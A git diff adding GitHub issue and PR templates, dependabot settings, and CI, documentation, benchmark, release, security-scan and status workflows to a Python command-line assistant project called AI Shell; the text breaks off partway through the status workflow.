diff --git a/.github/ISSUE_TEMPLATE/bug_report.md b/.github/ISSUE_TEMPLATE/bug_report.md new file mode 100644 index 0000000..50c1422 --- /dev/null +++ b/.github/ISSUE_TEMPLATE/bug_report.md @@ -0,0 +1,51 @@ +--- +name: Bug Report +about: Create a report to help us improve +title: '[BUG] ' +labels: ['bug', 'needs-triage'] +assignees: [] + +--- + +## Bug Description +A clear and concise description of what the bug is. + +## Steps to Reproduce +Steps to reproduce the behavior: +1. Go to '...' +2. Click on '....' +3. Scroll down to '....' +4. See error + +## Expected Behavior +A clear and concise description of what you expected to happen. + +## Actual Behavior +A clear and concise description of what actually happened. + +## Screenshots/Logs +If applicable, add screenshots or paste error logs to help explain your problem. + +``` +Paste any error messages or logs here +``` + +## Environment +- OS: [e.g. Ubuntu 22.04, Windows 11, macOS 13] +- Python Version: [e.g. 3.11.2] +- AI Shell Version: [e.g. 0.1.0] +- LLM Provider: [e.g. Gemini, Ollama] +- Model: [e.g. gemini-1.5-flash, llama3] + +## Configuration +Please share your configuration (remove any sensitive information like API keys): + +```yaml +# Paste your config.yaml here (redact API keys) +``` + +## Additional Context +Add any other context about the problem here. + +## Possible Solution +If you have an idea of how to fix this, please describe it here. \ No newline at end of file diff --git a/.github/ISSUE_TEMPLATE/config.yml b/.github/ISSUE_TEMPLATE/config.yml new file mode 100644 index 0000000..9ebe3a0 --- /dev/null +++ b/.github/ISSUE_TEMPLATE/config.yml @@ -0,0 +1,8 @@ +blank_issues_enabled: false +contact_links: + - name: Discussion Forum + url: https://github.com/GizzZmo/Ai_shell/discussions + about: Ask questions and discuss ideas with the community + - name: Documentation + url: https://github.com/GizzZmo/Ai_shell/blob/main/README.md + about: Check the documentation for answers to common questions \ No newline at end of file diff --git a/.github/ISSUE_TEMPLATE/feature_request.md b/.github/ISSUE_TEMPLATE/feature_request.md new file mode 100644 index 0000000..a2318db --- /dev/null +++ b/.github/ISSUE_TEMPLATE/feature_request.md @@ -0,0 +1,42 @@ +--- +name: Feature Request +about: Suggest an idea for this project +title: '[FEATURE] ' +labels: ['enhancement', 'needs-triage'] +assignees: [] + +--- + +## Feature Summary +A clear and concise description of what you want to happen. + +## Motivation +Describe the problem you're trying to solve or the use case this feature would address. + +## Detailed Description +Provide a detailed description of the feature you'd like to see implemented. + +## Proposed Solution +If you have an idea of how this could be implemented, describe it here. + +## Alternative Solutions +Describe any alternative solutions or features you've considered. + +## Use Cases +Provide specific examples of how this feature would be used: + +1. **Use Case 1:** ... +2. **Use Case 2:** ... + +## Additional Context +Add any other context, screenshots, mockups, or examples about the feature request here. + +## Implementation Considerations +- [ ] This might require changes to the LLM integration +- [ ] This might require changes to the command execution system +- [ ] This might require changes to the configuration system +- [ ] This might require new dependencies +- [ ] This might be a breaking change + +## Related Issues +Link any related issues here. \ No newline at end of file diff --git a/.github/ISSUE_TEMPLATE/security.md b/.github/ISSUE_TEMPLATE/security.md new file mode 100644 index 0000000..b8c6fac --- /dev/null +++ b/.github/ISSUE_TEMPLATE/security.md @@ -0,0 +1,46 @@ +--- +name: Security Issue +about: Report a security vulnerability +title: '[SECURITY] ' +labels: ['security', 'high-priority'] +assignees: [] + +--- + +## ⚠️ Security Issue + +**Please do not report security vulnerabilities through public GitHub issues.** + +If you believe you have found a security vulnerability in AI Shell, please report it to us privately. We appreciate your efforts to responsibly disclose your findings. + +## How to Report + +1. **Email**: Send details to [maintainer@example.com] (replace with actual email) +2. **Include**: + - Description of the vulnerability + - Steps to reproduce + - Potential impact + - Suggested fix (if any) + +## What to Expect + +- We will acknowledge receipt within 48 hours +- We will provide a detailed response within 7 days +- We will work with you to understand and address the issue +- We will coordinate disclosure timing + +## Security Considerations in AI Shell + +AI Shell handles: +- Command execution on local systems +- API keys and credentials +- External LLM provider communications +- User input processing + +Please be especially mindful of issues related to: +- Command injection vulnerabilities +- Credential exposure +- Unsafe command execution +- API key leakage + +Thank you for helping keep AI Shell and its users safe! \ No newline at end of file diff --git a/.github/dependabot.yml b/.github/dependabot.yml new file mode 100644 index 0000000..c770ea6 --- /dev/null +++ b/.github/dependabot.yml @@ -0,0 +1,35 @@ +version: 2 +updates: + # Python dependencies + - package-ecosystem: "pip" + directory: "/" + schedule: + interval: "weekly" + day: "monday" + time: "09:00" + open-pull-requests-limit: 5 + reviewers: + - "GizzZmo" + labels: + - "dependencies" + - "python" + commit-message: + prefix: "deps" + include: "scope" + + # GitHub Actions + - package-ecosystem: "github-actions" + directory: "/" + schedule: + interval: "weekly" + day: "monday" + time: "09:00" + open-pull-requests-limit: 3 + reviewers: + - "GizzZmo" + labels: + - "dependencies" + - "github-actions" + commit-message: + prefix: "ci" + include: "scope" \ No newline at end of file diff --git a/.github/pull_request_template.md b/.github/pull_request_template.md new file mode 100644 index 0000000..1dd32d9 --- /dev/null +++ b/.github/pull_request_template.md @@ -0,0 +1,55 @@ +## Description +Briefly describe the changes in this PR. + +## Type of Change +Please delete options that are not relevant. + +- [ ] Bug fix (non-breaking change which fixes an issue) +- [ ] New feature (non-breaking change which adds functionality) +- [ ] Breaking change (fix or feature that would cause existing functionality to not work as expected) +- [ ] Documentation update +- [ ] Performance improvement +- [ ] Code refactoring +- [ ] CI/CD changes + +## Related Issues +Closes #(issue number) + +## Changes Made +- [ ] Change 1 +- [ ] Change 2 +- [ ] Change 3 + +## Testing +- [ ] Tests pass locally (`python -m pytest tests/`) +- [ ] Code is properly formatted (`black ai_shell/ tests/`) +- [ ] Linting passes (`flake8 ai_shell/ tests/`) +- [ ] I have added tests that prove my fix is effective or that my feature works +- [ ] New and existing unit tests pass locally with my changes + +## Security Considerations +- [ ] This change does not introduce security vulnerabilities +- [ ] Command execution is properly validated +- [ ] No sensitive information is exposed in logs +- [ ] API keys and credentials are handled securely + +## Documentation +- [ ] I have updated the documentation accordingly +- [ ] I have added docstrings to new functions/classes +- [ ] Examples are updated if needed +- [ ] README.md is updated if needed + +## Screenshots (if applicable) +Add screenshots to help explain your changes. + +## Checklist +- [ ] My code follows the style guidelines of this project +- [ ] I have performed a self-review of my own code +- [ ] I have commented my code, particularly in hard-to-understand areas +- [ ] My changes generate no new warnings +- [ ] I have added tests that prove my fix is effective or that my feature works +- [ ] New and existing unit tests pass locally with my changes +- [ ] Any dependent changes have been merged and published in downstream modules + +## Additional Notes +Add any other notes about the PR here. \ No newline at end of file diff --git a/.github/workflows/auto-label.yml b/.github/workflows/auto-label.yml new file mode 100644 index 0000000..f10fc84 --- /dev/null +++ b/.github/workflows/auto-label.yml @@ -0,0 +1,186 @@ +name: Auto Label + +on: + issues: + types: [opened] + pull_request: + types: [opened, synchronize] + +permissions: + contents: read + issues: write + pull-requests: write + +jobs: + label-issues: + runs-on: ubuntu-latest + if: github.event_name == 'issues' + steps: + - name: Label new issues + uses: actions/github-script@v7 + with: + script: | + const issue = context.payload.issue; + const title = issue.title.toLowerCase(); + const body = issue.body ? issue.body.toLowerCase() : ''; + + let labels = []; + + // Auto-label based on title/content + if (title.includes('bug') || title.includes('error') || title.includes('broken')) { + labels.push('bug'); + } + + if (title.includes('feature') || title.includes('enhancement') || body.includes('feature request')) { + labels.push('enhancement'); + } + + if (title.includes('doc') || title.includes('readme') || body.includes('documentation')) { + labels.push('documentation'); + } + + if (title.includes('security') || body.includes('vulnerability') || body.includes('security')) { + labels.push('security'); + } + + if (title.includes('performance') || body.includes('slow') || body.includes('performance')) { + labels.push('performance'); + } + + // Component-based labels + if (body.includes('gemini') || body.includes('llm') || body.includes('provider')) { + labels.push('llm-integration'); + } + + if (body.includes('config') || body.includes('configuration') || body.includes('yaml')) { + labels.push('configuration'); + } + + if (body.includes('command') || body.includes('execution') || body.includes('shell')) { + labels.push('command-execution'); + } + + if (body.includes('metasploit') || body.includes('wapiti') || body.includes('security testing')) { + labels.push('security-tools'); + } + + // Priority labels based on keywords + if (title.includes('critical') || body.includes('critical') || + title.includes('urgent') || body.includes('urgent')) { + labels.push('high-priority'); + } + + // Add needs-triage by default + labels.push('needs-triage'); + + if (labels.length > 0) { + await github.rest.issues.addLabels({ + owner: context.repo.owner, + repo: context.repo.repo, + issue_number: issue.number, + labels: labels + }); + } + + label-prs: + runs-on: ubuntu-latest + if: github.event_name == 'pull_request' + steps: + - name: Checkout + uses: actions/checkout@v4 + with: + fetch-depth: 0 + + - name: Label pull requests + uses: actions/github-script@v7 + with: + script: | + const pr = context.payload.pull_request; + const title = pr.title.toLowerCase(); + const body = pr.body ? pr.body.toLowerCase() : ''; + + let labels = []; + + // Get changed files + const files = await github.rest.pulls.listFiles({ + owner: context.repo.owner, + repo: context.repo.repo, + pull_number: pr.number + }); + + const changedFiles = files.data.map(file => file.filename); + const changedContent = changedFiles.join(' ').toLowerCase(); + + // Auto-label based on changed files + if (changedFiles.some(file => file.startsWith('.github/workflows/'))) { + labels.push('ci-cd'); + } + + if (changedFiles.some(file => file.endsWith('.md'))) { + labels.push('documentation'); + } + + if (changedFiles.some(file => file.includes('test'))) { + labels.push('tests'); + } + + if (changedFiles.some(file => file.includes('config'))) { + labels.push('configuration'); + } + + if (changedFiles.some(file => file.includes('llm'))) { + labels.push('llm-integration'); + } + + if (changedFiles.some(file => file.includes('executor'))) { + labels.push('command-execution'); + } + + // Size labels based on changes + const totalChanges = files.data.reduce((sum, file) => sum + file.changes, 0); + if (totalChanges < 10) { + labels.push('size/XS'); + } else if (totalChanges < 50) { + labels.push('size/S'); + } else if (totalChanges < 100) { + labels.push('size/M'); + } else if (totalChanges < 500) { + labels.push('size/L'); + } else { + labels.push('size/XL'); + } + + // Type labels based on title/content + if (title.includes('fix') || title.includes('bug')) { + labels.push('bug'); + } + + if (title.includes('feat') || title.includes('add') || title.includes('feature')) { + labels.push('enhancement'); + } + + if (title.includes('deps') || title.includes('dependency')) { + labels.push('dependencies'); + } + + if (title.includes('perf') || title.includes('performance')) { + labels.push('performance'); + } + + if (title.includes('refactor')) { + labels.push('refactoring'); + } + + // Check if PR is draft + if (pr.draft) { + labels.push('work-in-progress'); + } + + if (labels.length > 0) { + await github.rest.issues.addLabels({ + owner: context.repo.owner, + repo: context.repo.repo, + issue_number: pr.number, + labels: labels + }); + } \ No newline at end of file diff --git a/.github/workflows/ci.yml b/.github/workflows/ci.yml new file mode 100644 index 0000000..454dbd1 --- /dev/null +++ b/.github/workflows/ci.yml @@ -0,0 +1,100 @@ +# CI Workflow for AI Shell +name: CI + +on: + push: + branches: [ main, master ] + pull_request: + branches: [ main, master ] + workflow_dispatch: + +jobs: + test: + runs-on: ${{ matrix.os }} + strategy: + fail-fast: false + matrix: + os: [ubuntu-latest, windows-latest, macos-latest] + python-version: ["3.9", "3.10", "3.11", "3.12"] + exclude: + # Reduce matrix size for efficiency while maintaining coverage + - os: windows-latest + python-version: "3.9" + - os: windows-latest + python-version: "3.10" + - os: macos-latest + python-version: "3.9" + - os: macos-latest + python-version: "3.10" + + steps: + - uses: actions/checkout@v4 + + - name: Set up Python ${{ matrix.python-version }} + uses: actions/setup-python@v4 + with: + python-version: ${{ matrix.python-version }} + + - name: Install dependencies + run: | + python -m pip install --upgrade pip + pip install -r requirements.txt + pip install pytest pytest-cov black flake8 + + - name: Lint with flake8 (Ubuntu only) + if: matrix.os == 'ubuntu-latest' + run: | + # stop the build if there are Python syntax errors or undefined names + flake8 ai_shell/ tests/ --count --select=E9,F63,F7,F82 --show-source --statistics + # exit-zero treats all errors as warnings for existing code + flake8 ai_shell/ tests/ --count --exit-zero --max-complexity=20 --max-line-length=127 --statistics + + - name: Check code formatting with black (Ubuntu only) + if: matrix.os == 'ubuntu-latest' + run: | + # Show formatting differences but don't fail on existing code + black --check --diff ai_shell/ tests/ || echo "Code formatting issues found but not failing CI" + + - name: Test with pytest + run: | + python -m pytest tests/ -v --cov=ai_shell --cov-report=xml + + - name: Test package installation + shell: bash + run: | + pip install -e . + ai-shell --help || echo "Help command completed" + + - name: Upload coverage to Codecov + if: matrix.python-version == '3.11' && matrix.os == 'ubuntu-latest' + uses: codecov/codecov-action@v3 + with: + file: ./coverage.xml + fail_ci_if_error: false + + lint: + runs-on: ubuntu-latest + steps: + - uses: actions/checkout@v4 + + - name: Set up Python + uses: actions/setup-python@v4 + with: + python-version: '3.11' + + - name: Install dependencies + run: | + python -m pip install --upgrade pip + pip install black flake8 + + - name: Run comprehensive linting + run: | + # Check for syntax errors and undefined names (these should fail) + flake8 ai_shell/ tests/ --count --select=E9,F63,F7,F82 --show-source --statistics + # Full linting with reasonable limits (but don't fail for existing issues) + flake8 ai_shell/ tests/ --count --exit-zero --max-complexity=20 --max-line-length=127 --statistics + + - name: Check black formatting + run: | + # Show formatting differences but don't fail on existing code + black --check ai_shell/ tests/ || echo "Code formatting issues found but not failing CI" \ No newline at end of file diff --git a/.github/workflows/documentation.yml b/.github/workflows/documentation.yml new file mode 100644 index 0000000..6fd9765 --- /dev/null +++ b/.github/workflows/documentation.yml @@ -0,0 +1,220 @@ +name: Documentation + +on: + push: + branches: [ main, master ] + paths: + - 'docs/**' + - 'README.md' + - 'CONTRIBUTING.md' + - '*.md' + pull_request: + branches: [ main, master ] + paths: + - 'docs/**' + - 'README.md' + - 'CONTRIBUTING.md' + - '*.md' + workflow_dispatch: + +permissions: + contents: read + pages: write + id-token: write + +concurrency: + group: "pages" + cancel-in-progress: false + +jobs: + validate-docs: + name: Validate Documentation + runs-on: ubuntu-latest + steps: + - name: Checkout + uses: actions/checkout@v4 + + - name: Set up Python + uses: actions/setup-python@v4 + with: + python-version: '3.11' + + - name: Install validation tools + run: | + pip install markdown + npm install -g markdown-link-check + + - name: Validate markdown syntax + run: | + pip install markdown + python -c " + import markdown, glob, sys + files = glob.glob('**/*.md', recursive=True) + for f in files: + if '/.git/' not in f and '/node_modules/' not in f: + try: + with open(f) as file: markdown.markdown(file.read()) + print(f'✅ {f} OK') + except Exception as e: + print(f'❌ {f} error: {e}'); sys.exit(1) + " + + - name: Check internal links + run: | + python -c " + import re, glob, os, sys + + def extract_links(content): + # Remove fenced code blocks to avoid matching code patterns as links + content = re.sub(r'\`\`\`.*?\`\`\`', '', content, flags=re.DOTALL) + # Remove inline code spans + content = re.sub(r'\`[^\`]+\`', '', content) + # Find all markdown links: [text](url) + return re.findall(r'\[[^\]]*\]\(([^)]+)\)', content) + + broken = [] + for f in sorted(glob.glob('**/*.md', recursive=True)): + if '/.git/' in f or '/node_modules/' in f: + continue + with open(f) as file: + content = file.read() + for link in extract_links(content): + # Skip external links and anchor-only links + if link.startswith('http') or link.startswith('#') or link.startswith('mailto:'): + continue + # Strip any anchor fragment from the path + path_part = link.split('#')[0] + if not path_part: + continue + target = os.path.normpath(os.path.join(os.path.dirname(f), path_part)) + if not os.path.exists(target): + print(f'Broken internal link in {f}: {link}') + broken.append((f, link)) + else: + print(f'OK in {f}: {link}') + + if broken: + sys.exit(1) + " + + - name: Check documentation completeness + run: | + # Ensure key documentation files exist + required_docs=("README.md" "CONTRIBUTING.md" "docs/EXAMPLES.md" "docs/ARCHITECTURE.md") + for doc in "${required_docs[@]}"; do + if [[ ! -f "$doc" ]]; then + echo "❌ Missing required documentation: $doc" + exit 1 + else + echo "✅ Found: $doc" + fi + done + + - name: Validate code examples in docs + run: | + python -c " + import re, ast, glob + for f in glob.glob('**/*.md', recursive=True): + if '/.git/' not in f and '/node_modules/' not in f: + with open(f) as file: content = file.read() + blocks = re.findall(r'```python\n(.*?)\n```', content, re.DOTALL) + for i, block in enumerate(blocks): + if any(x in block for x in ['import', 'def ', 'class ']): + try: ast.parse(block); print(f'✅ Code block {i+1} in {f} OK') + except SyntaxError as e: print(f'❌ Syntax error in {f}: {e}') + " + + build-docs: + name: Build Documentation Site + runs-on: ubuntu-latest + needs: validate-docs + if: github.ref == 'refs/heads/main' || github.ref == 'refs/heads/master' + steps: + - name: Checkout + uses: actions/checkout@v4 + + - name: Set up Python + uses: actions/setup-python@v4 + with: + python-version: '3.11' + + - name: Install dependencies + run: | + pip install mkdocs mkdocs-material mkdocs-mermaid2-plugin + pip install -r requirements.txt + + - name: Create mkdocs config + run: | + cat > mkdocs.yml << 'MKDOCS_CONFIG' + site_name: AI Shell Documentation + site_description: An intelligent, multi-modal command-line assistant + site_url: https://gizzmo.github.io/Ai_shell/ + repo_url: https://github.com/GizzZmo/Ai_shell + repo_name: GizzZmo/Ai_shell + + theme: + name: material + palette: + - scheme: default + primary: blue + accent: blue + toggle: + icon: material/brightness-7 + name: Switch to dark mode + - scheme: slate + primary: blue + accent: blue + toggle: + icon: material/brightness-4 + name: Switch to light mode + features: + - navigation.tabs + - navigation.sections + - navigation.top + - search.highlight + - content.code.copy + + nav: + - Home: index.md + - Examples: docs/EXAMPLES.md + - Architecture: docs/ARCHITECTURE.md + - Troubleshooting: docs/TROUBLESHOOTING.md + - Contributing: CONTRIBUTING.md + + plugins: + - search + + markdown_extensions: + - admonition + - codehilite + - pymdownx.superfences + MKDOCS_CONFIG + + - name: Create index.md from README + run: | + mkdir -p docs + cp README.md docs/index.md + + - name: Build documentation + run: mkdocs build + + - name: Setup Pages + uses: actions/configure-pages@v4 + + - name: Upload artifact + uses: actions/upload-pages-artifact@v3 + with: + path: './site' + + deploy-docs: + name: Deploy Documentation + environment: + name: github-pages + url: ${{ steps.deployment.outputs.page_url }} + runs-on: ubuntu-latest + needs: build-docs + if: github.ref == 'refs/heads/main' || github.ref == 'refs/heads/master' + steps: + - name: Deploy to GitHub Pages + id: deployment + uses: actions/deploy-pages@v4 \ No newline at end of file diff --git a/.github/workflows/performance.yml b/.github/workflows/performance.yml new file mode 100644 index 0000000..02af306 --- /dev/null +++ b/.github/workflows/performance.yml @@ -0,0 +1,198 @@ +name: Performance + +on: + push: + branches: [ main, master ] + pull_request: + branches: [ main, master ] + schedule: + # Run performance tests weekly + - cron: '0 2 * * 1' + workflow_dispatch: + +jobs: + benchmark: + runs-on: ubuntu-latest + + steps: + - name: Checkout code + uses: actions/checkout@v4 + + - name: Set up Python + uses: actions/setup-python@v4 + with: + python-version: '3.11' + + - name: Install dependencies + run: | + python -m pip install --upgrade pip + pip install -r requirements.txt + pip install pytest pytest-benchmark memory-profiler psutil + + - name: Create benchmark tests + run: | + mkdir -p tests/benchmarks + cat > tests/benchmarks/test_performance.py << 'EOF' + """Performance benchmark tests for AI Shell.""" + import pytest + import time + import psutil + import os + from unittest.mock import Mock, patch + from ai_shell.config import Config + from ai_shell.llm import LLMProvider + + class TestConfigPerformance: + """Test configuration loading performance.""" + + def test_config_initialization_time(self, benchmark): + """Benchmark configuration initialization.""" + def init_config(): + return Config() + + result = benchmark(init_config) + assert result is not None + + def test_config_large_file_loading(self, benchmark, tmp_path): + """Benchmark loading large configuration files.""" + # Create a large config file + large_config = tmp_path / "large_config.yaml" + config_content = "llm:\n provider: gemini\n" + # Add many nested configurations + for i in range(1000): + config_content += f" option_{i}: value_{i}\n" + + large_config.write_text(config_content) + + def load_large_config(): + return Config(str(large_config)) + + result = benchmark(load_large_config) + assert result is not None + + class TestMemoryUsage: + """Test memory usage of core components.""" + + def test_config_memory_usage(self): + """Test memory usage of configuration system.""" + process = psutil.Process(os.getpid()) + initial_memory = process.memory_info().rss + + # Create multiple config instances + configs = [] + for _ in range(100): + configs.append(Config()) + + final_memory = process.memory_info().rss + memory_increase = final_memory - initial_memory + + # Memory increase should be reasonable (less than 50MB for 100 configs) + assert memory_increase < 50 * 1024 * 1024 + + @patch('ai_shell.llm.requests.post') + def test_llm_provider_memory_usage(self, mock_post): + """Test memory usage of LLM provider.""" + mock_response = Mock() + mock_response.json.return_value = { + 'candidates': [{'content': {'parts': [{'text': 'test response'}]}}] + } + mock_response.raise_for_status.return_value = None + mock_post.return_value = mock_response + + process = psutil.Process(os.getpid()) + initial_memory = process.memory_info().rss + + config = Config() + config.set('llm.gemini.api_key', 'test_key') + + # Create multiple provider instances + providers = [] + for _ in range(50): + provider = LLMProvider(config) + providers.append(provider) + + final_memory = process.memory_info().rss + memory_increase = final_memory - initial_memory + + # Memory increase should be reasonable + assert memory_increase < 100 * 1024 * 1024 + + class TestResponseTime: + """Test response time of core operations.""" + + def test_config_get_performance(self, benchmark): + """Benchmark configuration value retrieval.""" + config = Config() + + def get_config_value(): + return config.get('llm.provider') + + result = benchmark(get_config_value) + assert result == 'gemini' + + def test_config_set_performance(self, benchmark): + """Benchmark configuration value setting.""" + config = Config() + + def set_config_value(): + config.set('test.benchmark', 'value') + + benchmark(set_config_value) + assert config.get('test.benchmark') == 'value' + EOF + + - name: Run benchmark tests + run: | + python -m pytest tests/benchmarks/ -v --benchmark-only --benchmark-json=benchmark.json + + - name: Performance regression check + run: | + python << 'EOF' + import json + import os + + if os.path.exists('benchmark.json'): + with open('benchmark.json', 'r') as f: + results = json.load(f) + + print("=== Performance Benchmark Results ===") + for benchmark in results['benchmarks']: + name = benchmark['name'] + mean_time = benchmark['stats']['mean'] + median_time = benchmark['stats']['median'] + print(f"{name}:") + print(f" Mean: {mean_time:.6f}s") + print(f" Median: {median_time:.6f}s") + + # Set performance thresholds + if 'config_initialization' in name and mean_time > 1.0: + print(f"⚠️ WARNING: {name} is slow ({mean_time:.3f}s)") + elif 'memory_usage' in name: + print(f"✅ Memory test completed") + elif mean_time > 0.1: + print(f"⚠️ WARNING: {name} is slow ({mean_time:.3f}s)") + else: + print(f"✅ {name} performance OK") + + print("\n=== Performance Summary ===") + print("All benchmarks completed successfully!") + else: + print("No benchmark results found") + EOF + + - name: Upload benchmark results + uses: actions/upload-artifact@v4 + with: + name: benchmark-results + path: benchmark.json + retention-days: 30 + + - name: System resource monitoring + run: | + echo "=== System Resources ===" + echo "CPU Usage:" + python -c "import psutil; print(f' {psutil.cpu_percent(interval=1)}%')" + echo "Memory Usage:" + python -c "import psutil; mem = psutil.virtual_memory(); print(f' {mem.percent}% ({mem.used // 1024**2} MB / {mem.total // 1024**2} MB)')" + echo "Disk Usage:" + python -c "import psutil; disk = psutil.disk_usage('/'); print(f' {disk.percent}% ({disk.used // 1024**3} GB / {disk.total // 1024**3} GB)')" \ No newline at end of file diff --git a/.github/workflows/release.yml b/.github/workflows/release.yml new file mode 100644 index 0000000..973f707 --- /dev/null +++ b/.github/workflows/release.yml @@ -0,0 +1,149 @@ +name: Release + +on: + push: + tags: + - 'v*' + workflow_dispatch: + inputs: + version: + description: 'Version to release (e.g., v1.0.0)' + required: true + type: string + +permissions: + contents: write + discussions: write + +jobs: + validate: + runs-on: ubuntu-latest + steps: + - name: Checkout code + uses: actions/checkout@v4 + with: + fetch-depth: 0 + + - name: Set up Python + uses: actions/setup-python@v4 + with: + python-version: '3.11' + + - name: Install dependencies + run: | + python -m pip install --upgrade pip + pip install -r requirements.txt + pip install pytest pytest-cov black flake8 build + + - name: Run tests + run: python -m pytest tests/ -v + + - name: Lint code + run: | + flake8 ai_shell/ tests/ --count --select=E9,F63,F7,F82 --show-source --statistics + black --check ai_shell/ tests/ + + - name: Build package + run: python -m build + + release: + needs: validate + runs-on: ubuntu-latest + steps: + - name: Checkout code + uses: actions/checkout@v4 + with: + fetch-depth: 0 + + - name: Set up Python + uses: actions/setup-python@v4 + with: + python-version: '3.11' + + - name: Install build dependencies + run: | + python -m pip install --upgrade pip + pip install build twine + + - name: Build package + run: python -m build + + - name: Generate changelog + id: changelog + run: | + # Get the current tag + if [ "${{ github.event_name }}" = "workflow_dispatch" ]; then + CURRENT_TAG="${{ github.event.inputs.version }}" + else + CURRENT_TAG=${GITHUB_REF#refs/tags/} + fi + + # Get the previous tag + PREVIOUS_TAG=$(git describe --tags --abbrev=0 HEAD~1 2>/dev/null || echo "") + + echo "current_tag=$CURRENT_TAG" >> $GITHUB_OUTPUT + echo "previous_tag=$PREVIOUS_TAG" >> $GITHUB_OUTPUT + + # Generate changelog + if [ -n "$PREVIOUS_TAG" ]; then + echo "## Changes since $PREVIOUS_TAG" > CHANGELOG.md + echo "" >> CHANGELOG.md + git log --pretty=format:"- %s (%h)" $PREVIOUS_TAG..HEAD >> CHANGELOG.md + else + echo "## Initial Release" > CHANGELOG.md + echo "" >> CHANGELOG.md + echo "First release of AI Shell" >> CHANGELOG.md + fi + + echo "changelog<> $GITHUB_OUTPUT + cat CHANGELOG.md >> $GITHUB_OUTPUT + echo "EOF" >> $GITHUB_OUTPUT + + - name: Create GitHub Release + uses: actions/create-release@v1 + env: + GITHUB_TOKEN: ${{ secrets.GITHUB_TOKEN }} + with: + tag_name: ${{ steps.changelog.outputs.current_tag }} + release_name: Release ${{ steps.changelog.outputs.current_tag }} + body: ${{ steps.changelog.outputs.changelog }} + draft: false + prerelease: ${{ contains(steps.changelog.outputs.current_tag, 'alpha') || contains(steps.changelog.outputs.current_tag, 'beta') || contains(steps.changelog.outputs.current_tag, 'rc') }} + + - name: Upload Release Assets + uses: actions/upload-release-asset@v1 + env: + GITHUB_TOKEN: ${{ secrets.GITHUB_TOKEN }} + with: + upload_url: ${{ steps.create_release.outputs.upload_url }} + asset_path: dist/ + asset_name: ai-shell-${{ steps.changelog.outputs.current_tag }}-py3-none-any.whl + asset_content_type: application/zip + + publish-pypi: + needs: [validate, release] + runs-on: ubuntu-latest + environment: release + if: startsWith(github.ref, 'refs/tags/v') && !contains(github.ref, 'alpha') && !contains(github.ref, 'beta') + steps: + - name: Checkout code + uses: actions/checkout@v4 + + - name: Set up Python + uses: actions/setup-python@v4 + with: + python-version: '3.11' + + - name: Install build dependencies + run: | + python -m pip install --upgrade pip + pip install build twine + + - name: Build package + run: python -m build + + - name: Publish to PyPI + env: + TWINE_USERNAME: __token__ + TWINE_PASSWORD: ${{ secrets.PYPI_API_TOKEN }} + run: twine upload dist/* \ No newline at end of file diff --git a/.github/workflows/security.yml b/.github/workflows/security.yml new file mode 100644 index 0000000..8984bae --- /dev/null +++ b/.github/workflows/security.yml @@ -0,0 +1,142 @@ +name: Security + +on: + push: + branches: [ main, master ] + pull_request: + branches: [ main, master ] + schedule: + # Run daily at 6 AM UTC + - cron: '0 6 * * *' + workflow_dispatch: + +permissions: + contents: read + security-events: write + +jobs: + codeql: + name: CodeQL Analysis + runs-on: ubuntu-latest + strategy: + fail-fast: false + matrix: + language: [ 'python' ] + + steps: + - name: Checkout repository + uses: actions/checkout@v4 + + - name: Initialize CodeQL + uses: github/codeql-action/init@v3 + with: + languages: ${{ matrix.language }} + queries: security-extended,security-and-quality + + - name: Set up Python + uses: actions/setup-python@v4 + with: + python-version: '3.11' + + - name: Install dependencies + run: | + python -m pip install --upgrade pip + pip install -r requirements.txt + + - name: Perform CodeQL Analysis + uses: github/codeql-action/analyze@v3 + with: + category: "/language:${{matrix.language}}" + + dependency-scan: + name: Dependency Vulnerability Scan + runs-on: ubuntu-latest + steps: + - name: Checkout repository + uses: actions/checkout@v4 + + - name: Set up Python + uses: actions/setup-python@v4 + with: + python-version: '3.11' + + - name: Install safety + run: pip install safety + + - name: Run safety check + run: | + pip install -r requirements.txt + safety check --json --output safety-report.json || true + safety check || echo "Vulnerabilities found, but not failing CI for now" + + - name: Upload safety report + uses: actions/upload-artifact@v4 + with: + name: safety-report + path: safety-report.json + retention-days: 30 + + secrets-scan: + name: Secrets Detection + runs-on: ubuntu-latest + steps: + - name: Checkout repository + uses: actions/checkout@v4 + with: + fetch-depth: 0 + + - name: Run Trivy for secrets + uses: aquasecurity/trivy-action@master + with: + scan-type: 'fs' + scan-ref: '.' + format: 'sarif' + output: 'trivy-secrets.sarif' + scanners: 'secret' + + - name: Upload Trivy scan results to GitHub Security tab + uses: github/codeql-action/upload-sarif@v3 + if: always() + with: + sarif_file: 'trivy-secrets.sarif' + + license-check: + name: License Compliance + runs-on: ubuntu-latest + steps: + - name: Checkout repository + uses: actions/checkout@v4 + + - name: Set up Python + uses: actions/setup-python@v4 + with: + python-version: '3.11' + + - name: Install pip-licenses + run: pip install pip-licenses + + - name: Install dependencies + run: pip install -r requirements.txt + + - name: Check licenses + run: | + pip-licenses --format=json --output-file licenses.json + pip-licenses --format=plain --output-file licenses.txt + + # Check for problematic licenses + PROBLEMATIC_LICENSES="GPL,AGPL,LGPL" + if pip-licenses --format=plain | grep -E "$PROBLEMATIC_LICENSES"; then + echo "⚠️ Problematic licenses found. Review required." + exit 1 + else + echo "✅ No problematic licenses found." + fi + + - name: Upload license report + uses: actions/upload-artifact@v4 + with: + name: license-report + path: | + licenses.json + licenses.txt + retention-days: 30 \ No newline at end of file diff --git a/.github/workflows/status.yml b/.github/workflows/status.yml new file mode 100644 index 0000000..1aaee82 --- /dev/null +++ b/.github/workflows/status.yml @@ -0,0 +1,150 @@ +name: Workflow Status + +on: + workflow_run: + workflows: ["CI", "Security", "Documentation", "Performance", "Release"] + types: + - completed + schedule: + # Generate status report daily at 8 AM UTC + - cron: '0 8 * * *' + workflow_dispatch: + +permissions: + contents: write + actions: read + +jobs: + status-report: + runs-on: ubuntu-latest + steps: + - name: Checkout + uses: actions/checkout@v4 + + - name: Generate workflow status report + uses: actions/github-script@v7 + with: + script: | + const fs = require('fs'); + + // Get recent workflow runs + const workflows = ['CI', 'Security', 'Documentation', 'Performance', 'Release']; + let statusReport = '# 🚀 AI Shell - Workflow Status Dashboard\n\n'; + statusReport += `*Last updated: ${new Date().toISOString()}*\n\n`; + + const statusTable = []; + statusTable.push('| Workflow | Status | Last Run | Duration | Branch |'); + statusTable.push('|----------|--------|----------|----------|--------|'); + + for (const workflowName of workflows) { + try { + const runs = await github.rest.actions.listWorkflowRuns({ + owner: context.repo.owner, + repo: context.repo.repo, + workflow_id: `${workflowName.toLowerCase()}.yml`, + per_page: 1 + }); + + if (runs.data.workflow_runs.length > 0) { + const run = runs.data.workflow_runs[0]; + const status = run.conclusion || run.status; + const statusEmoji = { + 'success': '✅', + 'failure': '❌', + 'cancelled': '⚠️', + 'in_progress': 